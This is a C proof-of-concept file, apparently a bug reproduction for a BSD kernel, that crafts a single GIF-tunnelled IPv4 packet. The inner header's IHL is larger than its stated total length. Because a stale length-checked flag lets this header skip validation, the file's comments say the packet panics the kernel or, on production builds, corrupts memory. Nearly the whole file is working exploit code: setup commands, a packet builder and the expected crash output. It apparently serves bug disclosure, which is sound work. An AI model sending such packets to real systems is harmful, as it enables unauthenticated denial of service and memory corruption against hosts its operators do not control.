/*
 * DF-3321 PoC A - gif(4) decapsulation leaves a stale M_LENCHECKED flag,
 * so the INNER IPv4 header is never length-validated on re-entry into
 * ip_input().  One packet with inner IHL=15 but ip_len=40 trips:
 *
 *   ip_input.c:575   KASSERT(ip_len >= hlen, ("total length incl header"))
 *
 * on INVARIANTS kernels (the default X86_64_GENERIC).  On production
 * kernels the KASSERT vanishes and the lying lengths flow on:
 * ip_dooptions() walks/writes 40 option bytes past the pulled-up area,
 * and ip_reass() does `m->m_len -= hlen` / `ip_len -= hlen` with hlen=60
 * on a 40-byte datagram (negative m_len mbufs, uint16 underflow).
 *
 * Path (all unauthenticated, single packet from the tunnel peer):
 *
 *   tapwrite -> ether_input -> ip_lengthcheck()  [M_LENCHECKED set for
 *   the OUTER header] -> ip_input -> encap4_input (proto 4) ->
 *   gif_encapcheck/gif_validate4 match -> in_gif_input(): m_adj(outer 20),
 *   m_pullup(only 20 bytes of inner) -> gif_input(): clears M_HASH but
 *   NOT M_LENCHECKED (sys/net/gif/if_gif.c:466) -> netisr_queue(NETISR_IP)
 *   -> ip_input(): M_HASH clear => ip_hashfn() => ip_demux.c:295 sees the
 *   stale M_LENCHECKED and SKIPS ip_lengthcheck() for the inner header.
 *
 * Setup (root, one time):
 *   ifconfig tap0 up
 *   ifconfig tap0 inet 10.99.0.1 netmask 255.255.255.0
 *   kldload if_gif
 *   ifconfig gif0 create
 *   ifconfig gif0 tunnel 10.99.0.1 10.99.0.2 up
 *
 * Build:  cc -O -o gif_ihl15 gif_ihl15.c
 * Run:    ./gif_ihl15
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <net/ethernet.h>
#include <net/if_dl.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

static u_int16_t
cksum(const u_int16_t *w, int len)
{
    u_int32_t sum = 0;

    while (len > 1) {
        sum += *w++;
        len -= 2;
    }
    if (len == 1)
        sum += *(const u_char *)w;
    while (sum >> 16)
        sum = (sum & 0xffff) + (sum >> 16);
    return (u_int16_t)~sum;
}

int
main(void)
{
    /*
     * ether(14) + outer IP(20) + inner IP(60: IHL=15) + 8 bytes so that
     * ip_hashfn()'s TCP-port read (ip+iphlen) stays inside the mbuf.
     * Inner claims ip_len = 40 (< hlen = 60).
     */
    unsigned char pkt[sizeof(struct ether_header) + 20 + 68];
    struct ifreq ifr;
    struct ether_header *eh;
    struct ip *oip, *iip;
    u_int16_t etype;
    u_char tapmac[ETHER_ADDR_LEN];
    int fd, n;

    fd = open("/dev/tap0", O_RDWR);
    if (fd < 0) { perror("open /dev/tap0"); return 1; }

    /* tap0's MAC changes on every create - query it */
    {
        struct sockaddr_dl *sdl;

        memset(&ifr, 0, sizeof(ifr));
        if (ioctl(fd, SIOCGIFADDR, &ifr) < 0) {
            perror("SIOCGIFADDR");
            return 1;
        }
        sdl = (struct sockaddr_dl *)&ifr.ifr_addr;
        memcpy(tapmac, LLADDR(sdl), ETHER_ADDR_LEN);
    }

    memset(pkt, 0, sizeof(pkt));

    /* ---- ethernet: from the "gif peer" to us ---- */
    eh = (struct ether_header *)pkt;
    memcpy(eh->ether_dhost, tapmac, ETHER_ADDR_LEN);   /* tap0 mac */
    eh->ether_shost[0] = 0x02; eh->ether_shost[1] = 0x00;
    eh->ether_shost[2] = 0x00; eh->ether_shost[3] = 0x00;
    eh->ether_shost[4] = 0x00; eh->ether_shost[5] = 0x02;
    etype = htons(ETHERTYPE_IP);
    memcpy(&eh->ether_type, &etype, 2);

    /* ---- outer IP: src=peer(10.99.0.2) dst=us(10.99.0.1), proto 4 ---- */
    oip = (struct ip *)(pkt + sizeof(struct ether_header));
    oip->ip_v = 4; oip->ip_hl = 5;
    oip->ip_tos = 0;
    oip->ip_len = htons(20 + 68);
    oip->ip_id  = htons(1);
    oip->ip_off = 0;
    oip->ip_ttl = 64;
    oip->ip_p   = 4;                     /* IPPROTO_IPV4 (gif encap) */
    inet_aton("10.99.0.2", &oip->ip_src);
    inet_aton("10.99.0.1", &oip->ip_dst);
    oip->ip_sum = 0;
    oip->ip_sum = cksum((const u_int16_t *)oip, 20);

    /* ---- inner IP: IHL=15 (hlen=60) but ip_len claims only 40 ---- */
    iip = (struct ip *)(pkt + sizeof(struct ether_header) + 20);
    iip->ip_v = 4;
    iip->ip_hl = 15;                     /* <== hlen 60 > ip_len 40 */
    iip->ip_tos = 0;
    iip->ip_len = htons(40);             /* <== the lie */
    iip->ip_id  = htons(2);
    iip->ip_off = 0;
    iip->ip_ttl = 64;
    iip->ip_p   = IPPROTO_TCP;
    inet_aton("10.99.0.2", &iip->ip_src);
    inet_aton("10.99.0.1", &iip->ip_dst);
    iip->ip_sum = 0;
    /* checksum must cover exactly the 60 bytes the kernel will sum */
    iip->ip_sum = cksum((const u_int16_t *)iip, 60);

    /* bytes 60..67: a couple of TCP words so ip_hashfn()'s th port read
     * stays in-bounds (it reads th_sport/th_dport at ip+iphlen=60). */
    pkt[sizeof(struct ether_header) + 20 + 60] = 0x9c;   /* sport 40000 */
    pkt[sizeof(struct ether_header) + 20 + 61] = 0x40;
    pkt[sizeof(struct ether_header) + 20 + 62] = 0x27;   /* dport 9999 */
    pkt[sizeof(struct ether_header) + 20 + 63] = 0x0f;

    n = write(fd, pkt, sizeof(pkt));
    printf("wrote %d/%d bytes to tap0 (expect panic: "
        "\"total length incl header\" at ip_input.c:575)\n",
        n, (int)sizeof(pkt));
    if (n < 0)
        perror("write");
    sleep(2);
    return 0;
}
